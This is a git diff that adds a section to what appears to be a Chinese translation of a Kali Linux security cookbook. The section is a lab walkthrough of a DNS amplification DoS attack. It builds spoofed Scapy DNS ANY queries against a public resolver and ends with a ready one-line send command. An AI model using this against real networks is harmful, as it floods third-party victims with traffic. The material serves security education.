diff --git a/ch6.md b/ch6.md index 6342c7d214c02ae5c714da9a4b7e7bdabac3f022..1c6e7326c9826c34fbb852b62bccb0e4ebb76dea 100644 --- a/ch6.md +++ b/ch6.md @@ -218,7 +218,7 @@ smurf 攻击是历史上用于执行分布式拒绝服务(DDoS)放大攻击 ### 准备 -要执行smurf攻击,您需要有一个LAN,上面运行多个系统。 提供的示例将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息,请参阅本书第一章中的“安装 Ubuntu Server”秘籍 +要执行smurf攻击,您需要有一个LAN,上面运行多个系统。 提供的示例将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息,请参阅本书第一章中的“安装 Ubuntu Server”秘籍。 ### 操作步骤 @@ -325,3 +325,351 @@ Sent 100 packets. + 来自所使用的网络功能的响应应该显着大于用于请求它的请求。 传统 smurf 攻击的效率取决于 LAN 上响应 IP 定向的广播流量的主机。 这种主机从目标系统的伪造 IP 地址接收 ICMP 广播回响请求,然后针对接收到的每个请求同时返回 ICMP 回响应答。 + +## 6.4 DNS 放大 DoS 攻击 + +DNS放大攻击通过对给定域执行所有类型记录的伪造查询,来利用开放的 DNS 解析器。 通过同时向多个开放的解析器发送请求来使用 DDoS 组件,可以提高这种攻击的效率。 + +### 准备 + +为了模拟 DNS 放大攻击,你需要有一个本地名称服务器,或知道一个开放和可公开访问的名称服务器的 IP 地址。 提供的示例将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息,请参阅本书第一章中的“安装 Ubuntu Server”秘籍。 + +### 操作步骤 + +为了了解 DNS 放大的工作原理,可以使用基本的 DNS 查询工具,如`host`,`dig`或`nslookup`。 通过对与已建立的域相关的所有记录类型执行请求,你将注意到一些请求返回了相当大的响应: + +``` +root@KaliLinux:~# dig ANY google.com @208.67.220.220 + +; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> ANY google.com @208.67.220.220 +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41539 +;; flags: qr rd ra; QUERY: 1, ANSWER: 17, AUTHORITY: 0, ADDITIONAL: 0 +;; QUESTION SECTION: ; +google.com. IN ANY +;; ANSWER SECTION: +google.com. 181 IN A 74.125.232.101 +google.com. 181 IN A 74.125.232.97 +google.com. 181 IN A 74.125.232.102 +google.com. 181 IN A 74.125.232.99 +google.com. 181 IN A 74.125.232.104 +google.com. 181 IN A 74.125.232.96 +google.com. 181 IN A 74.125.232.100 +google.com. 181 IN A 74.125.232.103 +google.com. 181 IN A 74.125.232.105 +google.com. 181 IN A 74.125.232.98 +google.com. 181 IN A 74.125.232.110 +google.com. 174 IN AAAA 2607:f8b0:4004:803::1007 +google.com. 167024 IN NS ns2. +google.com. +google.com. 167024 IN NS ns1. +google.com. +google.com. 167024 IN NS ns3. +google.com. +google.com. 167024 IN NS ns4. +google.com. +google.com. 60 IN SOA ns1. +google.com. dns-admin. +google.com. 1545677 7200 1800 1209600 300 + +;; Query time: 7 msec +;; SERVER: 208.67.220.220#53(208.67.220.220) +;; WHEN: Thu Dec 19 02:40:16 2013 +;; MSG SIZE rcvd: 35 +``` + +在提供的示例中,与`google.com`域相关的所有记录类型的请求返回了一个响应,包含11个A记录,1个AAAA记录,4个NS记录和1个SOA记录。 DNS放大攻击的效率与响应大小直接相关。 我们现在将尝试使用 Scapy 中构建的数据包执行相同的操作。 要发送我们的 DNS 查询请求,我们必须首先构建此请求的层级。 我们需要构建的第一层是 IP 层: + +``` +root@KaliLinux:~# scapy Welcome to Scapy (2.2.0) +>>> i = IP() +>>> i.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= ip + chksum= None + src= 127.0.0.1 + dst= 127.0.0.1 + \options\ +>>> i.dst = "208.67.220.220" +>>> i.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= ip + chksum= None + src= 172.16.36.180 + dst= 208.67.220.220 + \options\ +``` + +要构建我们的请求的 IP 层,我们应该将 `IP` 对象赋给变量`i`。 通过调用`display()`函数,我们可以确定该对象的属性配置。 通常,发送和接收地址都设为回送地址`127.0.0.1`。 可以通过将`i.dst`设置为广播地址的字符串值,来更改目标地址并修改这些值。 通过再次调用`display()`函数,我们可以看到,不仅更新了目的地址,而且`Scapy`也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层,我们应该继续构建 UDP 层: + +``` +>>> u = UDP() +>>> u.display() +###[ UDP ]### + sport= domain + dport= domain + len= None + chksum= None +>>> u.dport 53 +``` + +要构建我们的请求的 UDP 层,我们将使用与IP层相同的技术。 在提供的示例中,`UDP` 对象赋给了`u`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到源和目标端口的默认值都列为`domain`。 您可能能猜到,这表示与端口 53 相关的 DNS服 务。DNS 是一种常见的服务,通常可以在网络系统上发现。 要确认这一点,我们可以通过引用变量名和属性直接调用该值。 既然已经构建了 IP 和 UDP 层,我们需要构建 DNS 层: + +``` +>>> d = DNS() +>>> d.display() +###[ DNS ]### + id= 0 + qr= 0 + opcode= QUERY + aa= 0 + tc= 0 + rd= 0 + ra= 0 + z= 0 + rcode= ok + qdcount= 0 + ancount= 0 + nscount= 0 + arcount= 0 + qd= None + an= None + ns= None + ar= None +``` + +为了构建我们的请求的DNS层,我们将使用与 IP 和 UDP 层相同的技术。 在提供的示例中,DNS 对象赋给了`d`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到有几个值需要修改: + +``` +>>> d.rd = 1 +>>> d.qdcount = 1 +>>> d.display() +###[ DNS ]### + id= 0 + qr= 0 + opcode= QUERY + aa= 0 + tc= 0 + rd= 1 + ra= 0 + z= 0 + rcode= ok + qdcount= 1 + ancount= 0 + nscount= 0 + arcount= 0 + qd= None + an= None + ns= None + ar= None +``` + +RD 位需要被激活; 这可以通过将`rd`值设置为 1 来实现。此外,需要为`qdcount`提供值`0x0001`; 这可以通过提供整数值 1 来完成。通过再次调用`display()`函数,我们可以验证是否已经调整了配置。 现在已经构建了 IP,UDP 和 DNS 层,我们需要构建一个 DNS 问题记录以分配给`qd`值: + +``` +>>> q = DNSQR() +>>> q.display() +###[ DNS Question Record ]### + qname= '.' + qtype= A + qclass= IN +``` + +为了构建 DNS 问题记录,我们将使用与 IP,UDP 和 DNS 层相同的技术。 在提供的示例中,DNS 问题记录已赋给`q`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到有几个值需要修改: + +``` +>>> q.qname = 'google.com' +>>> q.qtype=255 +>>> q.display() +###[ DNS Question Record ]### + qname= 'google.com' + qtype= ALL + qclass= IN +``` + +`qname`值需要设置为要查询的域。 另外,`qtype`需要通过传递一个整数值 255 来设置为`ALL`。通过再次调用`display()`函数,我们可以验证是否已经调整了配置。 现在问题记录已经配置完毕,问题记录对象应该赋给DNS `qd`值: + +``` +>>> d.qd = q +>>> d.display() +###[ DNS ]### +id= 0 +qr= 0 +opcode= QUERY +aa= 0 + tc= 0 + rd= 1 + ra= 0 + z= 0 + rcode= ok + qdcount= 1 + ancount= 0 + nscount= 0 + arcount= 0 + \qd\ + |###[ DNS Question Record ]### + | + qname= 'google.com' + | + qtype= ALL + | + qclass= IN + an= None + ns= None + ar= None +``` + +我们可以通过调用`display()`函数来验证问题记录是否已赋给 DNS `qd`值。 现在已经构建了 IP,UDP 和 DNS 层,并且已经将相应的问题记录赋给 DNS 层,我们可以通过堆叠这些层来构造请求: + +``` +>>> request = (i/u/d) +>>> request.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= udp + chksum= None + src= 172.16.36.180 + dst= 208.67.220.220 + \options\ +###[ UDP ]### + sport= domain + dport= domain + len= None + chksum= None +###[ DNS ]### + id= 0 + qr= 0 + opcode= QUERY + aa= 0 + tc= 0 + rd= 1 + ra= 0 + z= 0 + rcode= ok + qdcount= 1 + ancount= 0 + nscount= 0 + arcount= 0 + \qd\ + |###[ DNS Question Record ]### + | qname= 'google.com' + | qtype= ALL + | qclass= IN + an= None + ns= None + ar= None +``` + +可以通过使用斜杠分隔变量来堆叠 IP,UDP 和 DNS 层。 然后可以将这些层赋给表示整个请求的新变量。 然后可以调用`display()`函数来查看请求的配置。 在发送此请求之前,我们应该以相同的显示格式查看它,因为我们需要查看响应。 这样,我们可以更好地从视觉上理解请求和响应之间发生的放大。 这可以通过直接调用变量来完成: + +``` +>>> request + + |>>> +``` + + +一旦建立了请求,它就可以被传递给发送和接收函数,以便我们可以分析响应。 我们不会将它赋给一个变量,而是直接调用该函数,以便可以以相同的格式查看响应: + +``` +>>> sr1(request) +Begin emission: +....................Finished to send 1 packets. +.............................* +Received 50 packets, got 1 answers, remaining 0 packets + + an=>>>>>>>>>>>>>>>> ns=None ar=None |>>> +``` + +该响应确认了我们已成功构建所需的请求,并且我们已请求了一个相当大的有效内容,其中包括`google.com`域的11个A记录,1个AAAA记录,4个NS记录和1个SOA记录。 此练习清楚地表明,请求的响应明显大于请求本身。 为了使这个放大攻击有效,它需要通过伪造源 IP 地址重定向到我们的目标: + +``` +>>> i.src = "172.16.36.135" +>>> i.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= ip + chksum= None + src= 172.16.36.135 + dst= 208.67.220.220 + \options\ +>>> request = (i/u/d) +>>> request + |>>> +``` + +将源 IP 地址值重新定义为目标系统的 IP 地址的字符串后,我们可以使用`display()`函数确认该值已调整。 然后我们可以重建我们的更改后的请求。 为了验证我们是否能够将 DNS 查询响应重定向到此伪造主机,我们可以在主机上启动 TCPdump: + +``` +admin@ubuntu:~$ sudo tcpdump -i eth0 src 208.67.220.220 -vv +[sudo] password for admin: +tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes +``` + +在提供的示例中,TCPdump 配置将捕获`eth0`接口上,来自`208.67.220.220`源地址(查询的DNS服务器的地址)的所有流量。 然后,我们可以使用`send()`函数发送我们的请求: + +``` +>>> send(request) +. +Sent 1 packets. +>>> send(request) +. +Sent 1 packets. +``` + +发送请求后,我们应该返回到 TCPdump 的内容,来验证 DNS 查询的响应是否返回给了受害服务器: + +``` +tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes +19:07:12.926773 IP (tos 0x0, ttl 128, id 11341, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. A yyz08s13-in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100. net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13in-f0.1e100.net, google.com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100.net, google.com. A yyz08s13-in-f9.1e100.net, google. com. A yyz08s13-in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. NS ns2.google.com., google.com. NS ns1.google.com., google. com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1.google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322) +19:07:15.448636 IP (tos 0x0, ttl 128, id 11359, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100.net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13-in-f0.1e100.net, google. com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100. net, google.com. A yyz08s13-in-f9.1e100.net, google.com. A yyz08s13in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. A yyz08s13-in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. NS ns2.google.com., google.com. NS ns1.google.com., google.com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1. google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322) +``` + +这个执行 DNS 放大的整个过程,实际上可以用 Scapy 中的单行命令来执行。 此命令使用所有与上一个练习中讨论的相同的值。 然后可以修改`count`值以定义要发送到受害服务器的载荷响应数: + +``` +>>> send(IP(dst="208.67.220.220",src="172.16.36.135")/UDP()/DNS(rd=1,qdco unt=1,qd=DNSQR(qname="google.com",qtype=255)),verbose=1,count=2) +.. +Sent 2 packets. + +``` + +### 工作原理 + +放大攻击的原理是利用第三方设备,使网络流量压倒目标。 对于多数放大攻击,必须满足两个条件: + ++ 用于执行攻击的协议不验证请求源 ++ 来自所使用的网络功能的响应应该显着大于用于请求它的请求。 + +DNS 放大攻击的效率取决于 DNS 查询的响应大小。 另外,可以通过使用多个 DNS 服务器来增加攻击的威力。